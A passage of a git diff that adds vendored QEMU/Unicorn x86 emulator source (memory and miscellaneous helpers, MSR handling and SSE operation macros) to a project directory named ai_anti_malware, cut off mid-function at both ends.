eflags |= CC_Z; + } else { + /* always do the store */ + cpu_stq_data(env, a0, d); + env->regs[R_EDX] = (uint32_t)(d >> 32); + env->regs[R_EAX] = (uint32_t)d; + eflags &= ~CC_Z; + } + CC_SRC = eflags; +} + +#ifdef TARGET_X86_64 +void helper_cmpxchg16b(CPUX86State *env, target_ulong a0) +{ + uint64_t d0, d1; + int eflags; + + if ((a0 & 0xf) != 0) { + raise_exception(env, EXCP0D_GPF); + } + eflags = cpu_cc_compute_all(env, CC_OP); + d0 = cpu_ldq_data(env, a0); + d1 = cpu_ldq_data(env, a0 + 8); + if (d0 == env->regs[R_EAX] && d1 == env->regs[R_EDX]) { + cpu_stq_data(env, a0, env->regs[R_EBX]); + cpu_stq_data(env, a0 + 8, env->regs[R_ECX]); + eflags |= CC_Z; + } else { + /* always do the store */ + cpu_stq_data(env, a0, d0); + cpu_stq_data(env, a0 + 8, d1); + env->regs[R_EDX] = d1; + env->regs[R_EAX] = d0; + eflags &= ~CC_Z; + } + CC_SRC = eflags; +} +#endif + +void helper_boundw(CPUX86State *env, target_ulong a0, int v) +{ + int low, high; + + low = cpu_ldsw_data(env, a0); + high = cpu_ldsw_data(env, a0 + 2); + v = (int16_t)v; + if (v < low || v > high) { + raise_exception(env, EXCP05_BOUND); + } +} + +void helper_boundl(CPUX86State *env, target_ulong a0, int v) +{ + int low, high; + + low = cpu_ldl_data(env, a0); + high = cpu_ldl_data(env, a0 + 4); + if (v < low || v > high) { + raise_exception(env, EXCP05_BOUND); + } +} + +#if !defined(CONFIG_USER_ONLY) +/* try to fill the TLB and return an exception if error. If retaddr is + * NULL, it means that the function was called in C code (i.e. not + * from generated code or from helper.c) + */ +/* XXX: fix it to restore all registers */ +void tlb_fill(CPUState *cs, target_ulong addr, int is_write, int mmu_idx, + uintptr_t retaddr) +{ + int ret; + + ret = x86_cpu_handle_mmu_fault(cs, addr, is_write, mmu_idx); + if (ret) { + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + + if (retaddr) { + /* now we have a real cpu fault */ + cpu_restore_state(cs, retaddr); + } + raise_exception_err(env, cs->exception_index, env->error_code); + } +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/misc_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/misc_helper.c new file mode 100644 index 0000000..a3950b7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/misc_helper.c @@ -0,0 +1,598 @@ +/* + * x86 misc helpers + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/ioport.h" +#include "exec/helper-proto.h" +#include "exec/cpu_ldst.h" + +#include "uc_priv.h" + +void helper_outb(void *handle, uint32_t port, uint32_t data) +{ + cpu_outb(handle, port, data & 0xff); +} + +target_ulong helper_inb(void *handle, uint32_t port) +{ + return cpu_inb(handle, port); +} + +void helper_outw(void *handle, uint32_t port, uint32_t data) +{ + cpu_outw(handle, port, data & 0xffff); +} + +target_ulong helper_inw(void *handle, uint32_t port) +{ + return cpu_inw(handle, port); +} + +void helper_outl(void *handle, uint32_t port, uint32_t data) +{ + cpu_outl(handle, port, data); +} + +target_ulong helper_inl(void *handle, uint32_t port) +{ + return cpu_inl(handle, port); +} + +void helper_into(CPUX86State *env, int next_eip_addend) +{ + int eflags; + + eflags = cpu_cc_compute_all(env, CC_OP); + if (eflags & CC_O) { + raise_interrupt(env, EXCP04_INTO, 1, 0, next_eip_addend); + } +} + +void helper_single_step(CPUX86State *env) +{ +#ifndef CONFIG_USER_ONLY + check_hw_breakpoints(env, true); + env->dr[6] |= DR6_BS; +#endif + raise_exception(env, EXCP01_DB); +} + +void helper_cpuid(CPUX86State *env) +{ + uint32_t eax, ebx, ecx, edx; + + cpu_svm_check_intercept_param(env, SVM_EXIT_CPUID, 0); + + cpu_x86_cpuid(env, (uint32_t)env->regs[R_EAX], (uint32_t)env->regs[R_ECX], + &eax, &ebx, &ecx, &edx); + env->regs[R_EAX] = eax; + env->regs[R_EBX] = ebx; + env->regs[R_ECX] = ecx; + env->regs[R_EDX] = edx; +} + +#if defined(CONFIG_USER_ONLY) +target_ulong helper_read_crN(CPUX86State *env, int reg) +{ + return 0; +} + +void helper_write_crN(CPUX86State *env, int reg, target_ulong t0) +{ +} + +void helper_movl_drN_T0(CPUX86State *env, int reg, target_ulong t0) +{ +} +#else +target_ulong helper_read_crN(CPUX86State *env, int reg) +{ + target_ulong val; + + cpu_svm_check_intercept_param(env, SVM_EXIT_READ_CR0 + reg, 0); + switch (reg) { + default: + val = env->cr[reg]; + break; + case 8: + if (!(env->hflags2 & HF2_VINTR_MASK)) { + val = cpu_get_apic_tpr(env->uc, x86_env_get_cpu(env)->apic_state); + } else { + val = env->v_tpr; + } + break; + } + return val; +} + +void helper_write_crN(CPUX86State *env, int reg, target_ulong t0) +{ + cpu_svm_check_intercept_param(env, SVM_EXIT_WRITE_CR0 + reg, 0); + switch (reg) { + case 0: + cpu_x86_update_cr0(env, (uint32_t)t0); + break; + case 3: + cpu_x86_update_cr3(env, t0); + break; + case 4: + cpu_x86_update_cr4(env, (uint32_t)t0); + break; + case 8: + if (!(env->hflags2 & HF2_VINTR_MASK)) { + cpu_set_apic_tpr(env->uc, x86_env_get_cpu(env)->apic_state, (uint8_t)t0); + } + env->v_tpr = t0 & 0x0f; + break; + default: + env->cr[reg] = t0; + break; + } +} + +void helper_movl_drN_T0(CPUX86State *env, int reg, target_ulong t0) +{ + int i; + + if (reg < 4) { + hw_breakpoint_remove(env, reg); + env->dr[reg] = t0; + hw_breakpoint_insert(env, reg); + } else if (reg == 7) { + for (i = 0; i < DR7_MAX_BP; i++) { + hw_breakpoint_remove(env, i); + } + env->dr[7] = t0; + for (i = 0; i < DR7_MAX_BP; i++) { + hw_breakpoint_insert(env, i); + } + } else { + env->dr[reg] = t0; + } +} +#endif + +void helper_lmsw(CPUX86State *env, target_ulong t0) +{ + /* only 4 lower bits of CR0 are modified. PE cannot be set to zero + if already set to one. */ + t0 = (env->cr[0] & ~0xe) | (t0 & 0xf); + helper_write_crN(env, 0, t0); +} + +void helper_invlpg(CPUX86State *env, target_ulong addr) +{ + X86CPU *cpu = x86_env_get_cpu(env); + + cpu_svm_check_intercept_param(env, SVM_EXIT_INVLPG, 0); + tlb_flush_page(CPU(cpu), addr); +} + +void helper_rdtsc(CPUX86State *env) +{ + uint64_t val; + + if ((env->cr[4] & CR4_TSD_MASK) && ((env->hflags & HF_CPL_MASK) != 0)) { + raise_exception(env, EXCP0D_GPF); + } + cpu_svm_check_intercept_param(env, SVM_EXIT_RDTSC, 0); + + val = cpu_get_tsc(env) + env->tsc_offset; + env->regs[R_EAX] = (uint32_t)(val); + env->regs[R_EDX] = (uint32_t)(val >> 32); +} + +void helper_rdtscp(CPUX86State *env) +{ + helper_rdtsc(env); + env->regs[R_ECX] = (uint32_t)(env->tsc_aux); +} + +void helper_rdpmc(CPUX86State *env) +{ + if ((env->cr[4] & CR4_PCE_MASK) && ((env->hflags & HF_CPL_MASK) != 0)) { + raise_exception(env, EXCP0D_GPF); + } + cpu_svm_check_intercept_param(env, SVM_EXIT_RDPMC, 0); + + /* currently unimplemented */ + qemu_log_mask(LOG_UNIMP, "x86: unimplemented rdpmc\n"); + raise_exception_err(env, EXCP06_ILLOP, 0); +} + +#if defined(CONFIG_USER_ONLY) +void helper_wrmsr(CPUX86State *env) +{ +} + +void helper_rdmsr(CPUX86State *env) +{ +} +#else +void helper_wrmsr(CPUX86State *env) +{ + uint64_t val; + + cpu_svm_check_intercept_param(env, SVM_EXIT_MSR, 1); + + val = ((uint32_t)env->regs[R_EAX]) | + ((uint64_t)((uint32_t)env->regs[R_EDX]) << 32); + + switch ((uint32_t)env->regs[R_ECX]) { + case MSR_IA32_SYSENTER_CS: + env->sysenter_cs = val & 0xffff; + break; + case MSR_IA32_SYSENTER_ESP: + env->sysenter_esp = val; + break; + case MSR_IA32_SYSENTER_EIP: + env->sysenter_eip = val; + break; + case MSR_IA32_APICBASE: + cpu_set_apic_base(env->uc, x86_env_get_cpu(env)->apic_state, val); + break; + case MSR_EFER: + { + uint64_t update_mask; + + update_mask = 0; + if (env->features[FEAT_8000_0001_EDX] & CPUID_EXT2_SYSCALL) { + update_mask |= MSR_EFER_SCE; + } + if (env->features[FEAT_8000_0001_EDX] & CPUID_EXT2_LM) { + update_mask |= MSR_EFER_LME; + } + if (env->features[FEAT_8000_0001_EDX] & CPUID_EXT2_FFXSR) { + update_mask |= MSR_EFER_FFXSR; + } + if (env->features[FEAT_8000_0001_EDX] & CPUID_EXT2_NX) { + update_mask |= MSR_EFER_NXE; + } + if (env->features[FEAT_8000_0001_ECX] & CPUID_EXT3_SVM) { + update_mask |= MSR_EFER_SVME; + } + if (env->features[FEAT_8000_0001_EDX] & CPUID_EXT2_FFXSR) { + update_mask |= MSR_EFER_FFXSR; + } + cpu_load_efer(env, (env->efer & ~update_mask) | + (val & update_mask)); + } + break; + case MSR_STAR: + env->star = val; + break; + case MSR_PAT: + env->pat = val; + break; + case MSR_VM_HSAVE_PA: + env->vm_hsave = val; + break; +#ifdef TARGET_X86_64 + case MSR_LSTAR: + env->lstar = val; + break; + case MSR_CSTAR: + env->cstar = val; + break; + case MSR_FMASK: + env->fmask = val; + break; + case MSR_FSBASE: + env->segs[R_FS].base = val; + break; + case MSR_GSBASE: + env->segs[R_GS].base = val; + break; + case MSR_KERNELGSBASE: + env->kernelgsbase = val; + break; +#endif + case MSR_MTRRphysBase(0): + case MSR_MTRRphysBase(1): + case MSR_MTRRphysBase(2): + case MSR_MTRRphysBase(3): + case MSR_MTRRphysBase(4): + case MSR_MTRRphysBase(5): + case MSR_MTRRphysBase(6): + case MSR_MTRRphysBase(7): + env->mtrr_var[((uint32_t)env->regs[R_ECX] - + MSR_MTRRphysBase(0)) / 2].base = val; + break; + case MSR_MTRRphysMask(0): + case MSR_MTRRphysMask(1): + case MSR_MTRRphysMask(2): + case MSR_MTRRphysMask(3): + case MSR_MTRRphysMask(4): + case MSR_MTRRphysMask(5): + case MSR_MTRRphysMask(6): + case MSR_MTRRphysMask(7): + env->mtrr_var[((uint32_t)env->regs[R_ECX] - + MSR_MTRRphysMask(0)) / 2].mask = val; + break; + case MSR_MTRRfix64K_00000: + env->mtrr_fixed[(uint32_t)env->regs[R_ECX] - + MSR_MTRRfix64K_00000] = val; + break; + case MSR_MTRRfix16K_80000: + case MSR_MTRRfix16K_A0000: + env->mtrr_fixed[(uint32_t)env->regs[R_ECX] - + MSR_MTRRfix16K_80000 + 1] = val; + break; + case MSR_MTRRfix4K_C0000: + case MSR_MTRRfix4K_C8000: + case MSR_MTRRfix4K_D0000: + case MSR_MTRRfix4K_D8000: + case MSR_MTRRfix4K_E0000: + case MSR_MTRRfix4K_E8000: + case MSR_MTRRfix4K_F0000: + case MSR_MTRRfix4K_F8000: + env->mtrr_fixed[(uint32_t)env->regs[R_ECX] - + MSR_MTRRfix4K_C0000 + 3] = val; + break; + case MSR_MTRRdefType: + env->mtrr_deftype = val; + break; + case MSR_MCG_STATUS: + env->mcg_status = val; + break; + case MSR_MCG_CTL: + if ((env->mcg_cap & MCG_CTL_P) + && (val == 0 || val == ~(uint64_t)0)) { + env->mcg_ctl = val; + } + break; + case MSR_TSC_AUX: + env->tsc_aux = val; + break; + case MSR_IA32_MISC_ENABLE: + env->msr_ia32_misc_enable = val; + break; + default: + if ((uint32_t)env->regs[R_ECX] >= MSR_MC0_CTL + && (uint32_t)env->regs[R_ECX] < MSR_MC0_CTL + + (4 * env->mcg_cap & 0xff)) { + uint32_t offset = (uint32_t)env->regs[R_ECX] - MSR_MC0_CTL; + if ((offset & 0x3) != 0 + || (val == 0 || val == ~(uint64_t)0)) { + env->mce_banks[offset] = val; + } + break; + } + /* XXX: exception? */ + break; + } +} + +void helper_rdmsr(CPUX86State *env) +{ + uint64_t val; + + cpu_svm_check_intercept_param(env, SVM_EXIT_MSR, 0); + + switch ((uint32_t)env->regs[R_ECX]) { + case MSR_IA32_SYSENTER_CS: + val = env->sysenter_cs; + break; + case MSR_IA32_SYSENTER_ESP: + val = env->sysenter_esp; + break; + case MSR_IA32_SYSENTER_EIP: + val = env->sysenter_eip; + break; + case MSR_IA32_APICBASE: + val = cpu_get_apic_base(env->uc, x86_env_get_cpu(env)->apic_state); + break; + case MSR_EFER: + val = env->efer; + break; + case MSR_STAR: + val = env->star; + break; + case MSR_PAT: + val = env->pat; + break; + case MSR_VM_HSAVE_PA: + val = env->vm_hsave; + break; + case MSR_IA32_PERF_STATUS: + /* tsc_increment_by_tick */ + val = 1000ULL; + /* CPU multiplier */ + val |= (((uint64_t)4ULL) << 40); + break; +#ifdef TARGET_X86_64 + case MSR_LSTAR: + val = env->lstar; + break; + case MSR_CSTAR: + val = env->cstar; + break; + case MSR_FMASK: + val = env->fmask; + break; + case MSR_FSBASE: + val = env->segs[R_FS].base; + break; + case MSR_GSBASE: + val = env->segs[R_GS].base; + break; + case MSR_KERNELGSBASE: + val = env->kernelgsbase; + break; + case MSR_TSC_AUX: + val = env->tsc_aux; + break; +#endif + case MSR_MTRRphysBase(0): + case MSR_MTRRphysBase(1): + case MSR_MTRRphysBase(2): + case MSR_MTRRphysBase(3): + case MSR_MTRRphysBase(4): + case MSR_MTRRphysBase(5): + case MSR_MTRRphysBase(6): + case MSR_MTRRphysBase(7): + val = env->mtrr_var[((uint32_t)env->regs[R_ECX] - + MSR_MTRRphysBase(0)) / 2].base; + break; + case MSR_MTRRphysMask(0): + case MSR_MTRRphysMask(1): + case MSR_MTRRphysMask(2): + case MSR_MTRRphysMask(3): + case MSR_MTRRphysMask(4): + case MSR_MTRRphysMask(5): + case MSR_MTRRphysMask(6): + case MSR_MTRRphysMask(7): + val = env->mtrr_var[((uint32_t)env->regs[R_ECX] - + MSR_MTRRphysMask(0)) / 2].mask; + break; + case MSR_MTRRfix64K_00000: + val = env->mtrr_fixed[0]; + break; + case MSR_MTRRfix16K_80000: + case MSR_MTRRfix16K_A0000: + val = env->mtrr_fixed[(uint32_t)env->regs[R_ECX] - + MSR_MTRRfix16K_80000 + 1]; + break; + case MSR_MTRRfix4K_C0000: + case MSR_MTRRfix4K_C8000: + case MSR_MTRRfix4K_D0000: + case MSR_MTRRfix4K_D8000: + case MSR_MTRRfix4K_E0000: + case MSR_MTRRfix4K_E8000: + case MSR_MTRRfix4K_F0000: + case MSR_MTRRfix4K_F8000: + val = env->mtrr_fixed[(uint32_t)env->regs[R_ECX] - + MSR_MTRRfix4K_C0000 + 3]; + break; + case MSR_MTRRdefType: + val = env->mtrr_deftype; + break; + case MSR_MTRRcap: + if (env->features[FEAT_1_EDX] & CPUID_MTRR) { + val = MSR_MTRRcap_VCNT | MSR_MTRRcap_FIXRANGE_SUPPORT | + MSR_MTRRcap_WC_SUPPORTED; + } else { + /* XXX: exception? */ + val = 0; + } + break; + case MSR_MCG_CAP: + val = env->mcg_cap; + break; + case MSR_MCG_CTL: + if (env->mcg_cap & MCG_CTL_P) { + val = env->mcg_ctl; + } else { + val = 0; + } + break; + case MSR_MCG_STATUS: + val = env->mcg_status; + break; + case MSR_IA32_MISC_ENABLE: + val = env->msr_ia32_misc_enable; + break; + default: + if ((uint32_t)env->regs[R_ECX] >= MSR_MC0_CTL + && (uint32_t)env->regs[R_ECX] < MSR_MC0_CTL + + (4 * env->mcg_cap & 0xff)) { + uint32_t offset = (uint32_t)env->regs[R_ECX] - MSR_MC0_CTL; + val = env->mce_banks[offset]; + break; + } + /* XXX: exception? */ + val = 0; + break; + } + env->regs[R_EAX] = (uint32_t)(val); + env->regs[R_EDX] = (uint32_t)(val >> 32); +} +#endif + +static void do_pause(X86CPU *cpu) +{ + CPUState *cs = CPU(cpu); + + /* Just let another CPU run. */ + cs->exception_index = EXCP_INTERRUPT; + cpu_loop_exit(cs); +} + +static void do_hlt(X86CPU *cpu) +{ + CPUState *cs = CPU(cpu); + CPUX86State *env = &cpu->env; + + env->hflags &= ~HF_INHIBIT_IRQ_MASK; /* needed if sti is just before */ + cs->halted = 1; + cs->exception_index = EXCP_HLT; + cpu_loop_exit(cs); +} + +void helper_hlt(CPUX86State *env, int next_eip_addend) +{ + X86CPU *cpu = x86_env_get_cpu(env); + + cpu_svm_check_intercept_param(env, SVM_EXIT_HLT, 0); + env->eip += next_eip_addend; + + do_hlt(cpu); +} + +void helper_monitor(CPUX86State *env, target_ulong ptr) +{ + if ((uint32_t)env->regs[R_ECX] != 0) { + raise_exception(env, EXCP0D_GPF); + } + /* XXX: store address? */ + cpu_svm_check_intercept_param(env, SVM_EXIT_MONITOR, 0); +} + +void helper_mwait(CPUX86State *env, int next_eip_addend) +{ + X86CPU *cpu; + + if ((uint32_t)env->regs[R_ECX] != 0) { + raise_exception(env, EXCP0D_GPF); + } + cpu_svm_check_intercept_param(env, SVM_EXIT_MWAIT, 0); + env->eip += next_eip_addend; + + cpu = x86_env_get_cpu(env); + /* XXX: not complete but not completely erroneous */ + do_hlt(cpu); +} + +void helper_pause(CPUX86State *env, int next_eip_addend) +{ + X86CPU *cpu = x86_env_get_cpu(env); + + cpu_svm_check_intercept_param(env, SVM_EXIT_PAUSE, 0); + env->eip += next_eip_addend; + + do_pause(cpu); +} + +void helper_debug(CPUX86State *env) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + + cs->exception_index = EXCP_DEBUG; + cpu_loop_exit(cs); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/ops_sse.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/ops_sse.h new file mode 100644 index 0000000..8a8cda9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/ops_sse.h @@ -0,0 +1,2335 @@ +/* + * MMX/3DNow!/SSE/SSE2/SSE3/SSSE3/SSE4/PNI support + * + * Copyright (c) 2005 Fabrice Bellard + * Copyright (c) 2008 Intel Corporation + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "qemu/aes.h" + +#if SHIFT == 0 +#define Reg MMXReg +#define XMM_ONLY(...) +#define B(n) MMX_B(n) +#define W(n) MMX_W(n) +#define L(n) MMX_L(n) +#define Q(n) q +#define SUFFIX _mmx +#else +#define Reg XMMReg +#define XMM_ONLY(...) __VA_ARGS__ +#define B(n) XMM_B(n) +#define W(n) XMM_W(n) +#define L(n) XMM_L(n) +#define Q(n) XMM_Q(n) +#define SUFFIX _xmm +#endif + +void glue(helper_psrlw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift; + + if (s->Q(0) > 15) { + d->Q(0) = 0; +#if SHIFT == 1 + d->Q(1) = 0; +#endif + } else { + shift = s->B(0); + d->W(0) >>= shift; + d->W(1) >>= shift; + d->W(2) >>= shift; + d->W(3) >>= shift; +#if SHIFT == 1 + d->W(4) >>= shift; + d->W(5) >>= shift; + d->W(6) >>= shift; + d->W(7) >>= shift; +#endif + } +} + +void glue(helper_psraw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift; + + if (s->Q(0) > 15) { + shift = 15; + } else { + shift = s->B(0); + } + d->W(0) = (int16_t)d->W(0) >> shift; + d->W(1) = (int16_t)d->W(1) >> shift; + d->W(2) = (int16_t)d->W(2) >> shift; + d->W(3) = (int16_t)d->W(3) >> shift; +#if SHIFT == 1 + d->W(4) = (int16_t)d->W(4) >> shift; + d->W(5) = (int16_t)d->W(5) >> shift; + d->W(6) = (int16_t)d->W(6) >> shift; + d->W(7) = (int16_t)d->W(7) >> shift; +#endif +} + +void glue(helper_psllw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift; + + if (s->Q(0) > 15) { + d->Q(0) = 0; +#if SHIFT == 1 + d->Q(1) = 0; +#endif + } else { + shift = s->B(0); + d->W(0) <<= shift; + d->W(1) <<= shift; + d->W(2) <<= shift; + d->W(3) <<= shift; +#if SHIFT == 1 + d->W(4) <<= shift; + d->W(5) <<= shift; + d->W(6) <<= shift; + d->W(7) <<= shift; +#endif + } +} + +void glue(helper_psrld, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift; + + if (s->Q(0) > 31) { + d->Q(0) = 0; +#if SHIFT == 1 + d->Q(1) = 0; +#endif + } else { + shift = s->B(0); + d->L(0) >>= shift; + d->L(1) >>= shift; +#if SHIFT == 1 + d->L(2) >>= shift; + d->L(3) >>= shift; +#endif + } +} + +void glue(helper_psrad, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift; + + if (s->Q(0) > 31) { + shift = 31; + } else { + shift = s->B(0); + } + d->L(0) = (int32_t)d->L(0) >> shift; + d->L(1) = (int32_t)d->L(1) >> shift; +#if SHIFT == 1 + d->L(2) = (int32_t)d->L(2) >> shift; + d->L(3) = (int32_t)d->L(3) >> shift; +#endif +} + +void glue(helper_pslld, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift; + + if (s->Q(0) > 31) { + d->Q(0) = 0; +#if SHIFT == 1 + d->Q(1) = 0; +#endif + } else { + shift = s->B(0); + d->L(0) <<= shift; + d->L(1) <<= shift; +#if SHIFT == 1 + d->L(2) <<= shift; + d->L(3) <<= shift; +#endif + } +} + +void glue(helper_psrlq, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift; + + if (s->Q(0) > 63) { + d->Q(0) = 0; +#if SHIFT == 1 + d->Q(1) = 0; +#endif + } else { + shift = s->B(0); + d->Q(0) >>= shift; +#if SHIFT == 1 + d->Q(1) >>= shift; +#endif + } +} + +void glue(helper_psllq, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift; + + if (s->Q(0) > 63) { + d->Q(0) = 0; +#if SHIFT == 1 + d->Q(1) = 0; +#endif + } else { + shift = s->B(0); + d->Q(0) <<= shift; +#if SHIFT == 1 + d->Q(1) <<= shift; +#endif + } +} + +#if SHIFT == 1 +void glue(helper_psrldq, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift, i; + + shift = s->L(0); + if (shift > 16) { + shift = 16; + } + for (i = 0; i < 16 - shift; i++) { + d->B(i) = d->B(i + shift); + } + for (i = 16 - shift; i < 16; i++) { + d->B(i) = 0; + } +} + +void glue(helper_pslldq, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int shift, i; + + shift = s->L(0); + if (shift > 16) { + shift = 16; + } + for (i = 15; i >= shift; i--) { + d->B(i) = d->B(i - shift); + } + for (i = 0; i < shift; i++) { + d->B(i) = 0; + } +} +#endif + +#define SSE_HELPER_B(name, F) \ + void glue(name, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->B(0) = F(d->B(0), s->B(0)); \ + d->B(1) = F(d->B(1), s->B(1)); \ + d->B(2) = F(d->B(2), s->B(2)); \ + d->B(3) = F(d->B(3), s->B(3)); \ + d->B(4) = F(d->B(4), s->B(4)); \ + d->B(5) = F(d->B(5), s->B(5)); \ + d->B(6) = F(d->B(6), s->B(6)); \ + d->B(7) = F(d->B(7), s->B(7)); \ + XMM_ONLY( \ + d->B(8) = F(d->B(8), s->B(8)); \ + d->B(9) = F(d->B(9), s->B(9)); \ + d->B(10) = F(d->B(10), s->B(10)); \ + d->B(11) = F(d->B(11), s->B(11)); \ + d->B(12) = F(d->B(12), s->B(12)); \ + d->B(13) = F(d->B(13), s->B(13)); \ + d->B(14) = F(d->B(14), s->B(14)); \ + d->B(15) = F(d->B(15), s->B(15)); \ + ) \ + } + +#define SSE_HELPER_W(name, F) \ + void glue(name, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->W(0) = F(d->W(0), s->W(0)); \ + d->W(1) = F(d->W(1), s->W(1)); \ + d->W(2) = F(d->W(2), s->W(2)); \ + d->W(3) = F(d->W(3), s->W(3)); \ + XMM_ONLY( \ + d->W(4) = F(d->W(4), s->W(4)); \ + d->W(5) = F(d->W(5), s->W(5)); \ + d->W(6) = F(d->W(6), s->W(6)); \ + d->W(7) = F(d->W(7), s->W(7)); \ + ) \ + } + +#define SSE_HELPER_L(name, F) \ + void glue(name, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->L(0) = F(d->L(0), s->L(0)); \ + d->L(1) = F(d->L(1), s->L(1)); \ + XMM_ONLY( \ + d->L(2) = F(d->L(2), s->L(2)); \ + d->L(3) = F(d->L(3), s->L(3)); \ + ) \ + } + +#define SSE_HELPER_Q(name, F) \ + void glue(name, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->Q(0) = F(d->Q(0), s->Q(0)); \ + XMM_ONLY( \ + d->Q(1) = F(d->Q(1), s->Q(1)); \ + ) \ + } + +#if SHIFT == 0 +static inline int satub(int x) +{ + if (x < 0) { + return 0; + } else if (x > 255) { + return 255; + } else { + return x; + } +} + +static inline int satuw(int x) +{ + if (x < 0) { + return 0; + } else if (x > 65535) { + return 65535; + } else { + return x; + } +} + +static inline int satsb(int x) +{ + if (x < -128) { + return -128; + } else if (x > 127) { + return 127; + } else { + return x; + } +} + +static inline int satsw(int x) +{ + if (x < -32768) { + return -32768; + } else if (x > 32767) { + return 32767; + } else { + return x; + } +} + +#define FADD(a, b) ((a) + (b)) +#define FADDUB(a, b) satub((a) + (b)) +#define FADDUW(a, b) satuw((a) + (b)) +#define FADDSB(a, b) satsb((int8_t)(a) + (int8_t)(b)) +#define FADDSW(a, b) satsw((int16_t)(a) + (int16_t)(b)) + +#define FSUB(a, b) ((a) - (b)) +#define FSUBUB(a, b) satub((a) - (b)) +#define FSUBUW(a, b) satuw((a) - (b)) +#define FSUBSB(a, b) satsb((int8_t)(a) - (int8_t)(b)) +#define FSUBSW(a, b) satsw((int16_t)(a) - (int16_t)(b)) +#define FMINUB(a, b) ((a) < (b)) ? (a) : (b) +#define FMINSW(a, b) ((int16_t)(a) < (int16_t)(b)) ? (a) : (b) +#define FMAXUB(a, b) ((a) > (b)) ? (a) : (b) +#define FMAXSW(a, b) ((int16_t)(a) > (int16_t)(b)) ? (a) : (b) + +#define FAND(a, b) ((a) & (b)) +#define FANDN(a, b) ((~(a)) & (b)) +#define FOR(a, b) ((a) | (b)) +#define FXOR(a, b) ((a) ^ (b)) + +#define FCMPGTB(a, b) ((int8_t)(a) > (int8_t)(b) ? -1 : 0) +#define FCMPGTW(a, b) ((int16_t)(a) > (int16_t)(b) ? -1 : 0) +#define FCMPGTL(a, b) ((int32_t)(a) > (int32_t)(b) ? -1 : 0) +#define FCMPEQ(a, b) ((a) == (b) ? -1 : 0) + +#define FMULLW(a, b) ((int64_t)(a) * (b)) +#define FMULHRW(a, b) (((int16_t)(a) * (int16_t)(b) + 0x8000) >> 16) +#define FMULHUW(a, b) ((int64_t)(a) * (b) >> 16) +#define FMULHW(a, b) ((int16_t)(a) * (int16_t)(b) >> 16) + +#define FAVG(a, b) (((a) + (b) + 1) >> 1) +#endif + +SSE_HELPER_B(helper_paddb, FADD) +SSE_HELPER_W(helper_paddw, FADD) +SSE_HELPER_L(helper_paddl, FADD) +SSE_HELPER_Q(helper_paddq, FADD) + +SSE_HELPER_B(helper_psubb, FSUB) +SSE_HELPER_W(helper_psubw, FSUB) +SSE_HELPER_L(helper_psubl, FSUB) +SSE_HELPER_Q(helper_psubq, FSUB) + +SSE_HELPER_B(helper_paddusb, FADDUB) +SSE_HELPER_B(helper_paddsb, FADDSB) +SSE_HELPER_B(helper_psubusb, FSUBUB) +SSE_HELPER_B(helper_psubsb, FSUBSB) + +SSE_HELPER_W(helper_paddusw, FADDUW) +SSE_HELPER_W(helper_paddsw, FADDSW) +SSE_HELPER_W(helper_psubusw, FSUBUW) +SSE_HELPER_W(helper_psubsw, FSUBSW) + +SSE_HELPER_B(helper_pminub, FMINUB) +SSE_HELPER_B(helper_pmaxub, FMAXUB) + +SSE_HELPER_W(helper_pminsw, FMINSW) +SSE_HELPER_W(helper_pmaxsw, FMAXSW) + +SSE_HELPER_Q(helper_pand, FAND) +SSE_HELPER_Q(helper_pandn, FANDN) +SSE_HELPER_Q(helper_por, FOR) +SSE_HELPER_Q(helper_pxor, FXOR) + +SSE_HELPER_B(helper_pcmpgtb, FCMPGTB) +SSE_HELPER_W(helper_pcmpgtw, FCMPGTW) +SSE_HELPER_L(helper_pcmpgtl, FCMPGTL) + +SSE_HELPER_B(helper_pcmpeqb, FCMPEQ) +SSE_HELPER_W(helper_pcmpeqw, FCMPEQ) +SSE_HELPER_L(helper_pcmpeql, FCMPEQ) + +SSE_HELPER_W(helper_pmullw, FMULLW) +#if SHIFT == 0 +SSE_HELPER_W(helper_pmulhrw, FMULHRW) +#endif +SSE_HELPER_W(helper_pmulhuw, FMULHUW) +SSE_HELPER_W(helper_pmulhw, FMULHW) + +SSE_HELPER_B(helper_pavgb, FAVG) +SSE_HELPER_W(helper_pavgw, FAVG) + +void glue(helper_pmuludq, 